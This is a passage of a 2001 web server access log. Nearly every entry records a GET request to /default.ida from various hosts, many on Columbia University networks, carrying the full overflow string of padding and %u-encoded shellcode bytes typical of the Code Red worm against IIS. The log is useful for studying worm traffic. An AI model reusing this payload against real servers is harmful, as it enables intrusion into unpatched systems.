  1118. 20010901 19:20:51: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1119. 20010901 19:33:00: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1120. 20010901 19:48:55: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1121. 20010901 20:12:46: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1122. 20010901 20:31:30: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1123. 20010901 20:49:42:  [207.113.141.10] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1124. 20010901 20:55:15: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1125. 20010901 21:40:02: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1126. 20010901 22:40:59:  [128.134.192.130] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1127. 20010901 23:09:44: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1128. 20010901 23:20:32: dialup-ccts5-45.cc.columbia.edu [128.59.6.54] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1129. 20010902 00:17:22: dialup-cc3-84.cc.columbia.edu [128.59.42.189] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1130. 20010902 00:17:49: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1131. 20010902 01:42:23: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1132. 20010902 01:58:02: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1133. 20010902 01:58:52: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1134. 20010902 02:25:20: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1135. 20010902 03:29:03:  [194.200.174.161] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1136. 20010902 03:31:18: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1137. 20010902 04:28:41: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1138. 20010902 06:18:10: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1139. 20010902 07:03:51: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1140. 20010902 08:22:56: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1141. 20010902 08:40:15: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1142. 20010902 09:58:09: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1143. 20010902 10:14:53:  [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1144. 20010902 10:17:19:  [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1145. 20010902 10:18:29:  [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1146. 20010902 11:26:29:  [128.134.54.152] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1147. 20010902 11:27:05: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1148. 20010902 11:29:45:  [210.117.65.44] "GET /index HTTP/1.0"
  1149. 20010902 12:30:54: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1150. 20010902 12:38:27: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1151. 20010902 12:39:34:  [61.187.60.14] ""
  1152. 20010902 14:59:48:  [211.112.5.40] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1153. 20010902 15:08:53: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1154. 20010902 15:58:49: lews-222.res.umass.edu [128.119.79.222] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1155. 20010902 16:12:31: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1156. 20010902 17:03:38: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1157. 20010902 17:41:43: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
